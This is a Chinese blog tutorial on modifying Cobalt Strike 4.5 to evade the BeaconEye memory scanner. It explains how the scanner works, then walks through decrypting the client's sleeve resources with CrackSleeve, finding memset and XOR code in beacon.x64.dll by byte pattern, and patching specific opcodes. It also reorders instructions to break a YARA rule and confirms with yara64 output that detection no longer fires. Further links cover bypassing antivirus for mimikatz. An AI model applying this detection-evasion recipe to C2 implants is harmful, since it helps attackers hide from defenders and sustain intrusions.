欢迎来到CS二开之睡眠混淆系列。BeaconEye的原理与绕过。这是本系列的第一篇也就是开篇。之所以选用这个来作为开篇原因有三BeaconEye作为早期针对CS的内存扫描工具非常具有代表性。BeaconEye的实现原理相对比较简单很符合初学者用来理解内存扫描相关概念。BeaconEye的规避会涉及到最基础的二开技术以及睡眠混淆技术。因此选择这个话题来作为开篇。同时这个也是我最开始学习二开时研究的第一个技术BeaconEye简介BeaconEye 是一款进程扫描工具它可以通过扫描进程内存轻松识别出CobaltStrike的Beacon并且可以进一步解密还原结构的数据进而解析出攻击者所使用的Malleable C2 profile。BeaconEye 扫描原理本质上CS Beacon在运行的时候需要把配置信息展开存放在内存中实际上在Heap内存中由于CS Beacon使用了简单的异或加密来加密内存中的配置信息。作者逆向分析了配置数据的结构通过yara匹配定位到加密后的配置文件进一步执行xor解密还原。Before start, should disable the sleep_mask or BeaconEye cannot work normally:在4.5版本以前sleepmask没有对这块内存进行加密。所以4.5版本的sleepmask开启后BeaconEye会扫描不到。但假设无睡眠混淆加密的情况下我们也可以尽可能地对内存特征进行规避处理达到跟好的规避效果。然后使用BeaconEye可以直接出https://github.com/akkuman/EvilEye/blob/master/beaconeye/beaconeye.go看到BeaconEye的规则也是这个后续测试中发现我们要关心的BeaconEye里面的yara规则在raw payload中是不存在的但在进程中存在证明这块数据是进程运行时才出来的但这里测试所使用的payload是经过profile处理后的并不是原本的raw dll 所以扫描不出来。一字节绕过BeaconEye通过修改一字节就可以破坏整个yara特征使得匹配失效。但知道原理以后会遇到一个问题既然这个特征是在进程执行的时候才出来的那么我们无法直接在生成的payload中修改它。一个解决方案是我们直接修改资源中的beacon.dll 那么就可以一劳永逸地干掉这个yara规则解决这个问题。二开CS4.5绕过BeaconEye扫描首先我们来获取CS的资源文件。资源文件中包含有模板beacon.dllCrackSleeveCS客户端的jar包里面的资源是做了加密处理的有大佬写了解密工具https://github.com/kyxiaxiang/CrackSleeve4.9/tree/mainhttps://github.com/genIoco/CrackSleeve/blob/master/README.md# 编译 CrackSleeve javac -encoding UTF-8 -classpath cobaltstrike-client.jar CrackSleeve.java # 解密 cobaltstrike-client.jar java -classpath cobaltstrike-client.jar:. CrackSleeve decode解密成功得到Resource:拿到模板beacon.dll以后我们需要对它进行逆向分析并找到有效的patch点。一个思路是我们可以patch掉memset函数的参数因为原本memset调用使用的参数是0来初始化config在内存中的空间而如果我们把这个初始值修改为其它即可绕过yara规则。并且不影响程序功能。反编译 beacon.x64.dll首先定位到Beacon Config 配置解密的代码beacon/BeaconPayload的beacon_obfuscate方法对beacon的配置信息进行了异或混淆异或的key是固定的3.x是0x694.x是0x2e。 https://www.bilibili.com/read/cv14238932/#:~:text这些DLL文件默认是当然这里衍生出来第二个bypass的思路就是修改默认加密Key同样是单字节绕过。我这里使用的是4.x版本查找立即数 0x2e找到这个XOR操作的发现其实config解密的实现就在DLLmain函数里面但是往上追踪不到这个数组并且这个数组实际的值并不在资源里面的beacon.dll中而是生成payload的时候再Patch进来的然后在IDA中Search for sequences of bytesBB 00 08 00 00 8B CB E8或者搜索这个81 7C 24 3C 00 10 00 00这里关注第一个memset()这里的截图圈的地方错了一开始我去patch了第二个结果还是被扫出来后来测试Patch第一个就可以了。; original xor edx, edx ; new mov edx, eax33 D2 → 89 C2Patch之后效果是这样的或者改成; original xor edx, edx ; new mov edx, ebx33 D2 → 89 DA但最终测试发现这里要把两个都Patch了改完以后重新加密java -classpath cobaltstrike-client.jar:. CrackSleeve encode看到以及变成加密的data然后替换掉cobaltstrike-client.jar的sleeve目录里面beacon.x64.dllmv cobaltstrike-client.jar cobaltstrike-client.jar.bak cp cobaltstrike-client.jar.bak cobaltstrike-client.jar修改Java端javac -encoding UTF-8 -classpath cobaltstrike.jar BeaconPayload.java测试Bypass BeaconEye效果.\yara64.exe .\beacon_rules.yar 9136 -s CobaltStrike 9136 0x20fbadd9ee9:$s094: 5E 5F 5E 5F 5E 5C 5E 56 5E 5C 5E 5F 5E 5C 7C 21 5E 5D 5E 5C 5E 5A 5E 5E 79 4E 5E 5A 5E 5C 5E 5A 5E 4B 0B 05 5E 5B 5E 5F 5E 5C 5E 4A CobaltStrike_x64_beacon_4_2_decrypt 9136 0x7ff809946f22:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03 0x7ff8099470ba:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03已经没有了BeaconEye检测的规则。更进一步 Break the yara既然我们已经学习到了绕过yara规则检测的方法。那么我们就知道怎么处理剩下的规则了。还有两条规则需要注意其中s094是yara规则里面有通配符这条规则并不存在于Payload中。而第二条规则没有通配符直接检索发现就在Payload里并且存在有两处故技重施https://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes4C8B5308458B0A458B5A044D8D52084585C975054585DB7433453BCB73E6498BF94C8B03archx86-64endiannesslittlebaddr0x00000000dis_with_addrTruedis_with_rawTruedis_with_insTrue#disassembly 0x0000000000000000: 4C 8B 53 08 mov r10, qword ptr [rbx 8] 0x0000000000000004: 45 8B 0A mov r9d, dword ptr [r10] 0x0000000000000007: 45 8B 5A 04 mov r11d, dword ptr [r10 4] 0x000000000000000b: 4D 8D 52 08 lea r10, [r10 8] 0x000000000000000f: 45 85 C9 test r9d, r9d 0x0000000000000012: 75 05 jne 0x19 0x0000000000000014: 45 85 DB test r11d, r11d 0x0000000000000017: 74 33 je 0x4c 0x0000000000000019: 45 3B CB cmp r9d, r11d 0x000000000000001c: 73 E6 jae 4 0x000000000000001e: 49 8B F9 mov rdi, r9 0x0000000000000021: 4C 8B 03 mov r8, qword ptr [rbx] 0x0000000000000000: 4C 8B 53 08 mov r10, qword ptr [rbx 8] 0x0000000000000007: 45 8B 5A 04 mov r11d, dword ptr [r10 4] 0x0000000000000004: 45 8B 0A mov r9d, dword ptr [r10] 0x000000000000000b: 4D 8D 52 08 lea r10, [r10 8] 0x000000000000000f: 45 85 C9 test r9d, r9d 0x0000000000000012: 75 05 jne 0x19 0x0000000000000014: 45 85 DB test r11d, r11d 0x0000000000000017: 74 33 je 0x4c 0x0000000000000019: 45 3B CB cmp r9d, r11d 0x000000000000001c: 73 E6 jae 4 0x000000000000001e: 49 8B F9 mov rdi, r9 0x0000000000000021: 4C 8B 03 mov r8, qword ptr [rbx] 4C 8B 53 08 45 8B 5A 04 45 8B 0A 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03处理完之后又bypass了一条rule单字节绕过的局限再来看第一条规则https://www.filescan.io/uploads/6590f554f4b6e5e163615ba8/reports/c5bdda37-e60a-4906-94e8-b957120110dd/yara发现刚好是256条规则刚好对应了16字节的XOR密钥空间。可见这个规则是针对单字节XOR的通过穷举的方式。想要绕过这个规则一个思路是修改加密Profile的逻辑使得不再是用单字节密钥进行XOR加密最简单的可以修改为一个多字节密钥加密的逻辑但这样的修改我们无法通过简单地Patch beacon.dll来实现了我们需要能够触及到beacon.dll的修改并且需要同时对beacon及客户端进行修改。例如https://github.com/D13Xian/CobaltStrike-KunKun至于所谓的绕过核晶模式其实就是postex反射dll自注入。4.5版本的mimikatz等命令已经支持指定pid没必要再做修改。可以参考这篇 “魔改 CS 加载 mimikatz 模块-bypass莫60核晶”https://cloud.tencent.com/developer/article/2184844参考阅读https://www.secrss.com/articles/36697https://www.moonsec.com/5644.htmlhttps://xz.aliyun.com/t/10832?time__1311CqjxRDcGeDqQqGNKeeu0QAD8YGCQWWDBGWoDhttps://www.ctfiot.com/48261.htmlhttps://www.bilibili.com/read/cv14238932/https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnwhttps://cn-sec.com/archives/495695.html#google_vignettehttps://tianwen.qianxin.com/blog/2023/10/30/tq-sandbox-A-new-approach-to-modify-CobaltStrike/